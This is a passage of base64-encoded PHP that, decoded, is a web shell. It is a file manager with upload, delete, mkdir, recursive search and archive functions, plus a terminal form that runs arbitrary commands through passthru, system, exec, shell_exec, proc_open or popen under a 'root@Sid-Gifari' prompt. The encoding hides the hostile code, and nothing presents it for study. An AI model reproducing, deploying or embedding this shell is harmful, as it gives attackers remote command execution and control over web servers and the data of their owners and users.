xlPg0KPD9waHANCg0KfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgDQovL3F1YW54aWFuIGdhaSBiaWFuIGhvdSB4dSB5YW8geGkgdG9uZyBjaG9uZ3FpDQogICAgICAgICAgICAgICAgICAgIA0KICAgICRtc2dfbnRpbWVzID0gJyc7DQoNCiAgICBpZighZW1wdHkoJF9GSUxFU1sndXBsb2FkJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1sndXBsb2FkX2ZpbGUnXSkpIHsNCg0KICAgICAgICBpZighZW1wdHkoJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSkpew0KICAgICAgICAgICAgJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSA9IHN0cl9yZXBsYWNlKCclJywgJycsICRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pOw0KDQogICAgICAgICAgICBpZighbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VwbG9hZCddWyd0bXBfbmFtZSddLCAkcGF0aCAuICRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICAkbXNnX250aW1lcyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCiAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgIH0gZWxzZSB7DQoNCgkJICAgICAJCSAgICAgJG1zZ19udGltZXMgLj0gX18oJ0ZpbGVzIHVwbG9hZGVkJykuJzogJy4kX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddOw0KDQoJCSAgICAgCX0NCiAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgIH0NCiAgICB9IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydkZWxldGUnXSkmJiRfUkVRVUVTVFsnZGVsZXRlJ108PicuJykgew0KICAgICAgICBpZighZm1fZGVsX2todW1mYWlsKCgkcGF0aCAuICRfUkVRVUVTVFsnZGVsZXRlJ10pLCB0cnVlKSkgew0KICAgICAgICAgICAgJG1zZ19udGltZXMgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICB9IGVsc2Ugew0KDQoJCSAgICAgCSRtc2dfbnRpbWVzIC49IF9fKCdEZWxldGVkJykuJyAnLiRfUkVRVUVTVFsnZGVsZXRlJ107DQoJCSAgICAgfQ0KCX0gZWxzZWlmKCFlbXB0eSgkX1JFUVVFU1RbJ21rZGlyJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snbWFrZV9kaXJlY3RvcnknXSkpIHsNCiAgICAgICAgaWYoIUBta2RpcigkcGF0aCAuICRfUkVRVUVTVFsnZGlybmFtZSddLDA3NzcpKSB7DQogICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAkbXNnX250aW1lcyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgIAkkbXNnX250aW1lcyAuPSBfXygnQ3JlYXRlZCcpLicgJy4kX1JFUVVFU1RbJ2Rpcm5hbWUnXTsNCgkJICAgICB9DQoNCiAgICB9IGVsc2VpZighZW1wdHkoJF9QT1NUWydzZWFyY2hfcmVjdXJzaXZlJ10pKSB7DQoJCSAgICAgaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgJzAnKTsNCgkJICAgICAkc2VhcmNoX2RhdGEgPSAgZmluZF90ZXh0X2luX2todW1mYWlsKCRfUE9TVFsncGF0aCddLCAkX1BPU1RbJ21hc2snXSwgJF9QT1NUWydzZWFyY2hfcmVjdXJzaXZlJ10pOw0KDQoJCSAgICAgaWYoIWVtcHR5KCRzZWFyY2hfZGF0YSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgCSRtc2dfbnRpbWVzIC49IF9fKCdGb3VuZCBpbiBraHVtZmFpbCcpLicgKCcuY291bnQoJHNlYXJjaF9kYXRhKS4nKTo8YnI+JzsNCg0KCQkgICAgIAlmb3JlYWNoICgkc2VhcmNoX2RhdGEgYXMgJGZpbGVuYW1lKSB7DQogICAgICAgICAgICAgICAgICAgIA0KCQkgICAgIAkJICAgICAkbXNnX250aW1lcyAuPSAnPGEgaHJlZj0iJy50aGFuZ3dlYih0cnVlKS4nP2ZtPXRydWUmZWRpdD0nLmJhc2VuYW1lKCRmaWxlbmFtZSkuJyZwYXRoPScuc3RyX3JlcGxhY2UoJy8nLmJhc2VuYW1lKCRmaWxlbmFtZSksJy8nLCRmaWxlbmFtZSkuJyIgdGl0bGU9IicgLiBfXygnRWRpdCcpIC4gJyI+Jy5iYXNlbmFtZSgkZmlsZW5hbWUpLic8L2E+Jm5ic3A7ICZuYnNwOyc7DQoNCgkJICAgICAJfQ0KCQkgICAgIH0gZWxzZSB7DQoJCSAgICAgCSRtc2dfbnRpbWVzIC49IF9fKCdOb3RoaW5nIGZvdW5kZWQnKTsNCg0KCQkgICAgIH0JDQoNCgl9IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydta2ZpbGUnXSkmJiFlbXB0eSgkZm1fY29uZmlnWyduZXdfZmlsZSddKSkgew0KDQogICAgICAgIGlmKCEkZnA9QGZvcGVuKCRwYXRoIC4gJF9SRVFVRVNUWydmaWxlbmFtZSddLCJ3IikpIHsNCg0KICAgICAgICAgICAgJG1zZ19udGltZXMgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICB9IGVsc2Ugew0KDQoJCSAgICAgCWZjbG9zZSgkZnApOw0KICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgCSRtc2dfbnRpbWVzIC49IF9fKCdDcmVhdGVkJykuJyAnLiRfUkVRVUVTVFsnZmlsZW5hbWUnXTsNCgkJICAgICB9DQoNCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3ppcCddKSkgew0KCQkgICAgICRzb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRfR0VUWyd6aXAnXSk7DQoJCSAgICAgJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSkuJy56aXAnOw0KICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgIHNldF90aW1lX2xpbWl0KDApOw0KDQoJCSAgICAgJHBoYXIgPSBuZXcgUGhhckRhdGEoJGRlc3RpbmF0aW9uKTsNCg0KCQkgICAgICRwaGFyLT5idWlsZEZyb21EaXJlY3RvcnkoJHNvdXJjZSk7DQogICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgaWYgKGlzX2ZpbGUoJGRlc3RpbmF0aW9uKSkNCiAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICRtc2dfbnRpbWVzIC49IF9fKCdUYXNrJykuJyAiJy5fXygnQXJjaGl2aW5nJykuJyAnLiRkZXN0aW5hdGlvbi4nIiAnLl9fKCdkb25lJykuDQoNCgkJICAgICAnLiZuYnNwOycucmFuZ2tod2FtcGFuaXRoYW4oJ2Rvd25sb2FkJywkcGF0aC4kZGVzdGluYXRpb24sX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiAkZGVzdGluYXRpb24pDQoJCSAgICAgLicmbmJzcDs8YSBocmVmPSInLiR1cmxfaW5jLicmZGVsZXRlPScuJGRlc3RpbmF0aW9uLicmcGF0aD0nIC4gJHBhdGguJyIgdGl0bGU9IicuX18oJ0RlbGV0ZScpLicgJy4gJGRlc3RpbmF0aW9uLiciID4nLl9fKCdEZWxldGUnKSAuICc8L2E+JzsNCg0KCQkgICAgIGVsc2UgJG1zZ19udGltZXMgLj0gX18oJ0Vycm9yIG9jY3VycmVkJykuJzogJy5fXygnbm8ga2h1bWZhaWwnKTsNCg0KCX0gZWxzZWlmIChpc3NldCgkX0dFVFsnZ3onXSkpIHsNCg0KCQkgICAgICRzb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRfR0VUWydneiddKTsNCg0KCQkgICAgICRhcmNoaXZlID0gJHNvdXJjZS4nLnRhcic7DQoNCgkJICAgICAkZGVzdGluYXRpb24gPSBiYXNlbmFtZSgkc291cmNlKS4nLnRhcic7DQoJCSAgICAgaWYgKGlzX2ZpbGUoJGFyY2hpdmUpKSB1bmxpbmsoJGFyY2hpdmUpOw0KDQoJCSAgICAgaWYgKGlzX2ZpbGUoJGFyY2hpdmUuJy5neicpKSB1bmxpbmsoJGFyY2hpdmUuJy5neicpOw0KICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KDQoJCSAgICAgc2V0X3RpbWVfbGltaXQoMCk7DQoNCgkJICAgICAvL2RpZSgpOw0KCQkgICAgICRwaGFyID0gbmV3IFBoYXJEYXRhKCRkZXN0aW5hdGlvbik7DQoJCSAgICAgJHBoYXItPmJ1aWxkRnJvbURpcmVjdG9yeSgkc291cmNlKTsNCg0KCQkgICAgICRwaGFyLT5jb21wcmVzcyhQaGFyOjpHWiwnLnRhci5neicpOw0KCQkgICAgIHVuc2V0KCRwaGFyKTsNCgkJICAgICBpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHsNCg0KCQkgICAgIAlpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHsNCgkJICAgICAJCSAgICAgdW5saW5rKCRhcmNoaXZlKTsgDQoJCSAgICAgCQkgICAgICRkZXN0aW5hdGlvbiAuPSAnLmd6JzsNCg0KCQkgICAgIAl9DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAJJG1zZ19udGltZXMgLj0gX18oJ1Rhc2snKS4nICInLl9fKCdBcmNoaXZpbmcnKS4nICcuJGRlc3RpbmF0aW9uLiciICcuX18oJ2RvbmUnKS4NCg0KCQkgICAgIAknLiZuYnNwOycucmFuZ2tod2FtcGFuaXRoYW4oJ2Rvd25sb2FkJywkcGF0aC4kZGVzdGluYXRpb24sX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiAkZGVzdGluYXRpb24pDQogICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgIAkuJyZuYnNwOzxhIGhyZWY9IicuJHVybF9pbmMuJyZkZWxldGU9Jy4kZGVzdGluYXRpb24uJyZwYXRoPScgLiAkcGF0aC4nIiB0aXRsZT0iJy5fXygnRGVsZXRlJykuJyAnLiRkZXN0aW5hdGlvbi4nIiA+Jy5fXygnRGVsZXRlJykuJzwvYT4nOw0KCQkgICAgIH0gZWxzZSAkbXNnX250aW1lcyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4nOiAnLl9fKCdubyBraHVtZmFpbCcpOw0KDQoJfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydkZWNvbXByZXNzJ10pKSB7DQoNCgkJICAgICAvLyAkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnZGVjb21wcmVzcyddKTsNCgkJICAgICAvLyAkZGVzdGluYXRpb24gPSBiYXNlbmFtZSgkc291cmNlKTsNCiAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgIC8vICRleHQgPSBlbmQoZXhwbG9kZSgiLiIsICRkZXN0aW5hdGlvbikpOw0KDQoJCSAgICAgLy8gaWYgKCRleHQ9PSd6aXAnIE9SICRleHQ9PSdneicpIHsNCg0KCQkgICAgIAkvLyAkcGhhciA9IG5ldyBQaGFyRGF0YSgkc291cmNlKTsNCg0KCQkgICAgIAkvLyAkcGhhci0+ZGVjb21wcmVzcygpOw0KICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgCS8vICRiYXNlX2ZpbGUgPSBzdHJfcmVwbGFjZSgnLicuJGV4dCwnJywkZGVzdGluYXRpb24pOw0KDQoJCSAgICAgCS8vICRleHQgPSBlbmQoZXhwbG9kZSgiLiIsICRiYXNlX2ZpbGUpKTsNCg0KCQkgICAgIAkvLyBpZiAoJGV4dD09J3Rhcicpew0KCQkgICAgIAkJICAgICAvLyAkcGhhciA9IG5ldyBQaGFyRGF0YSgkYmFzZV9maWxlKTsNCiAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgCQkgICAgIC8vICRwaGFyLT5leHRyYWN0VG8oZGlyKCRzb3VyY2UpKTsNCg0KCQkgICAgIAkvLyB9DQoNCgkJICAgICAvLyB9IA0KDQoJCSAgICAgLy8gJG1zZ19udGltZXMgLj0gX18oJ1Rhc2snKS4nICInLl9fKCdEZWNvbXByZXNzJykuJyAnLiRzb3VyY2UuJyIgJy5fXygnZG9uZScpOw0KDQoJfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydnemZpbGUnXSkpIHsNCg0KCQkgICAgICRzb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRfR0VUWydnemZpbGUnXSk7DQoNCgkJICAgICAkYXJjaGl2ZSA9ICRzb3VyY2UuJy50YXInOw0KDQoJCSAgICAgJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSkuJy50YXInOw0KICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgaWYgKGlzX2ZpbGUoJGFyY2hpdmUpKSB1bmxpbmsoJGFyY2hpdmUpOw0KCQkgICAgIGlmIChpc19maWxlKCRhcmNoaXZlLicuZ3onKSkgdW5saW5rKCRhcmNoaXZlLicuZ3onKTsNCg0KCQkgICAgIHNldF90aW1lX2xpbWl0KDApOw0KCQkgICAgIC8vZWNobyAkZGVzdGluYXRpb247DQogICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICRleHRfYXJyID0gZXhwbG9kZSgnLicsYmFzZW5hbWUoJHNvdXJjZSkpOw0KCQkgICAgIGlmIChpc3NldCgkZXh0X2FyclsxXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgIAl1bnNldCgkZXh0X2FyclswXSk7DQoNCgkJICAgICAJJGV4dD1pbXBsb2RlKCcuJywkZXh0X2Fycik7DQoJCSAgICAgfSANCg0KCQkgICAgICRwaGFyID0gbmV3IFBoYXJEYXRhKCRkZXN0aW5hdGlvbik7DQoNCgkJICAgICAkcGhhci0+YWRkRmlsZSgkc291cmNlKTsNCg0KCQkgICAgICRwaGFyLT5jb21wcmVzcyhQaGFyOjpHWiwkZXh0LicudGFyLmd6Jyk7DQoNCgkJICAgICB1bnNldCgkcGhhcik7DQoNCgkJICAgICBpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHsNCgkJICAgICAJaWYgKGlzX2ZpbGUoJGFyY2hpdmUuJy5neicpKSB7DQoNCgkJICAgICAJCSAgICAgdW5saW5rKCRhcmNoaXZlKTsgDQoNCgkJICAgICAJCSAgICAgJGRlc3RpbmF0aW9uIC49ICcuZ3onOw0KDQoJCSAgICAgCX0NCiAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgCSRtc2dfbnRpbWVzIC49IF9fKCdUYXNrJykuJyAiJy5fXygnQXJjaGl2aW5nJykuJyAnLiRkZXN0aW5hdGlvbi4nIiAnLl9fKCdkb25lJykuDQoNCgkJICAgICAJJy4mbmJzcDsnLnJhbmdraHdhbXBhbml0aGFuKCdkb3dubG9hZCcsJHBhdGguJGRlc3RpbmF0aW9uLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4gJGRlc3RpbmF0aW9uKQ0KDQoJCSAgICAgCS4nJm5ic3A7PGEgaHJlZj0iJy4kdXJsX2luYy4nJmRlbGV0ZT0nLiRkZXN0aW5hdGlvbi4nJnBhdGg9JyAuICRwYXRoLiciIHRpdGxlPSInLl9fKCdEZWxldGUnKS4nICcuJGRlc3RpbmF0aW9uLiciID4nLl9fKCdEZWxldGUnKS4nPC9hPic7DQoNCgkJICAgICB9IGVsc2UgJG1zZ19udGltZXMgLj0gX18oJ0Vycm9yIG9jY3VycmVkJykuJzogJy5fXygnbm8ga2h1bWZhaWwnKTsNCg0KCX0NCiAgICAgICAgICAgICAgICAgICAgICANCj8+DQo8dGFibGUgY2xhc3M9Indob2xlIiBpZD0iaGVhZGVyX3RhYmxlIiA+DQo8dHI+DQogICAgPHRoIGNvbHNwYW49IjIiPjw/PV9fKCdGaWxlIG1hbmFnZXInKT8+PD89KCFlbXB0eSgkcGF0aCk/JyAtICcuJHBhdGg6JycpPz48L3RoPg0KPC90cj4NCjw/cGhwIGlmKCFlbXB0eSgkbXNnX250aW1lcykpeyA/Pg0KPHRyPg0KCTx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0icm93MiI+PD89JG1zZ19udGltZXM/PjwvdGQ+DQo8L3RyPg0KPD9waHAgfSA/Pg0KPHRyPg0KICAgIDx0ZCBjbGFzcz0icm93MiI+DQoJCTx0YWJsZT4NCgkJCTx0cj4NCgkJCTx0ZD4NCgkJCQk8Pz1mbV9ob21lKCk/Pg0KCQkJPC90ZD4NCgkJCTx0ZD4NCjw/cGhwDQpzZXNzaW9uX3N0YXJ0KCk7DQoNCi8vIEFsbG93ZWQgZnVuY3Rpb25zDQokZXhlY0Z1bmN0aW9ucyA9IFsncGFzc3RocnUnLCAnc3lzdGVtJywgJ2V4ZWMnLCAnc2hlbGxfZXhlYycsICdwcm9jX29wZW4nLCAncG9wZW4nXTsNCg0KLy8gQ2hlY2sgaWYgYXQgbGVhc3Qgb25lIGlzIGF2YWlsYWJsZQ0KJGNhbkV4ZWN1dGUgPSBmYWxzZTsNCmZvcmVhY2ggKCRleGVjRnVuY3Rpb25zIGFzICRmdW5jKSB7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygkZnVuYykpIHsNCiAgICAgICAgJGNhbkV4ZWN1dGUgPSB0cnVlOw0KICAgICAgICBicmVhazsNCiAgICB9DQp9DQoNCi8vIEluaXRpYWxpemUgY3dkDQppZiAoIWlzc2V0KCRfU0VTU0lPTlsnY3dkJ10pKSB7DQogICAgJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOw0KfQ0KDQovLyBDaGFuZ2UgZGlyZWN0b3J5IGlmIFBPU1RlZA0KaWYgKGlzc2V0KCRfUE9TVFsncGF0aCddKSAmJiBpc19kaXIoJF9QT1NUWydwYXRoJ10pKSB7DQogICAgJF9TRVNTSU9OWydjd2QnXSA9IHJlYWxwYXRoKCRfUE9TVFsncGF0aCddKTsNCn0NCg0KJGN3ZCA9ICRfU0VTU0lPTlsnY3dkJ107DQokb3V0cHV0ID0gIiI7DQoNCi8vIFByb2Nlc3MgdGVybWluYWwgaW5wdXQNCmlmIChpc3NldCgkX1BPU1RbJ3Rlcm1pbmFsJ10pKSB7DQogICAgJGNtZElucHV0ID0gdHJpbSgkX1BPU1RbJ3Rlcm1pbmFsLXRleHQnXSk7DQoNCiAgICAvLyBIYW5kbGUgY2QNCiAgICBpZiAocHJlZ19tYXRjaCgnL15jZFxzKiguKikkLycsICRjbWRJbnB1dCwgJG1hdGNoZXMpKSB7DQogICAgICAgICRkaXIgPSB0cmltKCRtYXRjaGVzWzFdKTsNCg0KICAgICAgICBpZiAoJGRpciA9PT0gJycgfHwgJGRpciA9PT0gJ34nKSB7DQogICAgICAgICAgICAkZGlyID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSA/PyAkY3dkOw0KICAgICAgICB9IGVsc2VpZiAoJGRpclswXSAhPT0gJy8nICYmICRkaXJbMF0gIT09ICdcXCcpIHsNCiAgICAgICAgICAgICRkaXIgPSAkY3dkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRkaXI7DQogICAgICAgIH0NCg0KICAgICAgICAkcmVhbERpciA9IHJlYWxwYXRoKCRkaXIpOw0KDQogICAgICAgIGlmICgkcmVhbERpciAmJiBpc19kaXIoJHJlYWxEaXIpKSB7DQogICAgICAgICAgICAkX1NFU1NJT05bJ2N3ZCddID0gJHJlYWxEaXI7DQogICAgICAgICAgICAkY3dkID0gJHJlYWxEaXI7DQogICAgICAgICAgICAkb3V0cHV0ID0gIkNoYW5nZWQgZGlyZWN0b3J5IHRvICIgLiBodG1sc3BlY2lhbGNoYXJzKCRyZWFsRGlyKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRvdXRwdXQgPSAiYmFzaDogY2Q6ICIgLiBodG1sc3BlY2lhbGNoYXJzKCRtYXRjaGVzWzFdKSAuICI6IE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkiOw0KICAgICAgICB9DQoNCiAgICB9IGVsc2Ugew0KDQogICAgICAgIGlmICgkY2FuRXhlY3V0ZSkgew0KDQogICAgICAgICAgICAvLyBDaGFuZ2Ugd29ya2luZyBkaXJlY3RvcnkNCiAgICAgICAgICAgIGNoZGlyKCRjd2QpOw0KDQogICAgICAgICAgICAvLyBBbGxvdyBzYWZlIGNoYXJhY3RlcnM7IGRvIE5PVCBicmVhayBhcmd1bWVudHMNCiAgICAgICAgICAgICRjbWQgPSAkY21kSW5wdXQgLiAiIDI+JjEiOw0KDQogICAgICAgICAgICAvLyBQUklPUklUWTogcGFzc3RocnUgZmlyc3QNCiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICAgICAgICAgIHBhc3N0aHJ1KCRjbWQpOw0KICAgICAgICAgICAgICAgICRvdXRwdXQgPSBvYl9nZXRfY2xlYW4oKTsNCg0KICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsNCiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICAgICAgICAgIHN5c3RlbSgkY21kKTsNCiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7DQoNCiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KICAgICAgICAgICAgICAgIGV4ZWMoJGNtZCwgJG91dCk7DQogICAgICAgICAgICAgICAgJG91dHB1dCA9IGltcGxvZGUoIlxuIiwgJG91dCk7DQoNCiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KICAgICAgICAgICAgICAgICRvdXRwdXQgPSBzaGVsbF9leGVjKCRjbWQpOw0KDQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwcm9jX29wZW4nKSkgew0KICAgICAgICAgICAgICAgICRwaXBlcyA9IFtdOw0KICAgICAgICAgICAgICAgICRwcm9jZXNzID0gcHJvY19vcGVuKCRjbWQsIFsNCiAgICAgICAgICAgICAgICAgICAgMCA9PiBbInBpcGUiLCAiciJdLA0KICAgICAgICAgICAgICAgICAgICAxID0+IFsicGlwZSIsICJ3Il0sDQogICAgICAgICAgICAgICAgICAgIDIgPT4gWyJwaXBlIiwgInciXQ0KICAgICAgICAgICAgICAgIF0sICRwaXBlcywgJGN3ZCk7DQoNCiAgICAgICAgICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7DQogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMF0pOw0KICAgICAgICAgICAgICAgICAgICAkb3V0cHV0ID0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOw0KICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsNCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCAuPSBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1syXSk7DQogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMl0pOw0KICAgICAgICAgICAgICAgICAgICBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAkb3V0cHV0ID0gIkZhaWxlZCB0byBleGVjdXRlIGNvbW1hbmQgdmlhIHByb2Nfb3Blbi4iOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSkgew0KICAgICAgICAgICAgICAgICRoYW5kbGUgPSBwb3BlbigkY21kLCAncicpOw0KICAgICAgICAgICAgICAgIGlmICgkaGFuZGxlKSB7DQogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRoYW5kbGUpOw0KICAgICAgICAgICAgICAgICAgICBwY2xvc2UoJGhhbmRsZSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9ICJGYWlsZWQgdG8gZXhlY3V0ZSBjb21tYW5kIHZpYSBwb3Blbi4iOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gIkVycm9yOiBObyBjb21tYW5kIGV4ZWN1dGlvbiBmdW5jdGlvbnMgYXZhaWxhYmxlLiI7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRvdXRwdXQgPSAiQ29tbWFuZCBleGVjdXRpb24gZnVuY3Rpb25zIGFyZSBkaXNhYmxlZCBvbiB0aGlzIHNlcnZlci4iOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQppZiAoIWlzc2V0KCR1cmxfaW5jKSkgJHVybF9pbmMgPSBodG1sc3BlY2lhbGNoYXJzKCRfU0VSVkVSWydQSFBfU0VMRiddKTsNCmlmICghaXNzZXQoJHBhdGgpKSAkcGF0aCA9ICRjd2Q7DQo/Pg0KDQo8c3Ryb25nPnJvb3RAU2lkLUdpZmFyaTo8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGN3ZCk7ID8+JDwvc3Ryb25nPjxicj4NCjxwcmU+PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRvdXRwdXQpOyA/PjwvcHJlPg0KDQo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD9waHAgZWNobyAkdXJsX2luYzsgPz4iPg0KICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0ZXJtaW5hbC10ZXh0IiBzaXplPSIzMCIgcGxhY2Vob2xkZXI9IkNtZCIgLz4NCiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRwYXRoKTsgPz4iIC8+DQogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idGVybWluYWwiIHZhbHVlPSJFeGVjdXRlIiAvPg0KPC9mb3JtPg0KDQoNCjwvdGQ+DQoJCQk8dGQ+DQoJCQk8P3BocCBpZighZW1wdHkoJGZtX2NvbmZpZ1snbWFrZV9kaXJlY3RvcnknXSkpIHsgPz4NCgkJCQk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JHVybF9pbmM/PiI+DQoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/PSRwYXRoPz4iIC8+DQoJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcm5hbWUiIHNpemU9IjE1Ij4NCgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJta2RpciIgdmFsdWU9Ijw/PV9fKCdNYWtlIGRpcmVjdG9yeScpPz4iPg0KCQkJCTwvZm9ybT4NCgkJCTw/cGhwIH0gPz4NCgkJCTwvdGQ+DQoJCQk8dGQ+DQoJCQk8P3BocCBpZighZW1wdHkoJGZtX2NvbmZpZ1snbmV3X2ZpbGUnXSkpIHsgPz4NCgkJCQk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JHVybF9pbmM/PiI+DQoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgICAgIHZhbHVlPSI8Pz0kcGF0aD8+IiAvPg0KCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiAgIG5hbWU9ImZpbGVuYW1lIiBzaXplPSIxNSI+DQoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibWtmaWxlIiAgIHZhbHVlPSI8Pz1fXygnTmV3IGZpbGUnKT8+Ij4NCgkJCQk8L2Zvcm0+DQoJCQk8P3BocCB9ID8+DQoJCQk8L3RkPg0KCQkJPHRkPg0KCQkJCTxmb3JtICBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JHVybF9pbmM/PiIgc3R5bGU9ImRpc3BsYXk6aW5saW5lIj4NCgkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iPD89JHBhdGg/PiIgLz4NCgkJCQk8aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9Ijw/PV9fKCdSZWN1cnNpdmUgc2VhcmNoJyk/PiIgbmFtZT0ic2VhcmNoX3JlY3Vyc2l2ZSIgdmFsdWU9Ijw/PSFlbXB0eSgkX1BPU1RbJ3NlYXJjaF9yZWN1cnNpdmUnXSk/JF9QT1NUWydzZWFyY2hfcmVjdXJzaXZlJ106Jyc/PiIgc2l6ZT0iMTUiPg0KCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtYXNrIiBwbGFjZWhvbGRlcj0iPD89X18oJ01hc2snKT8+IiB2YWx1ZT0iPD89IWVtcHR5KCRfUE9TVFsnbWFzayddKT8kX1BPU1RbJ21hc2snXTonKi4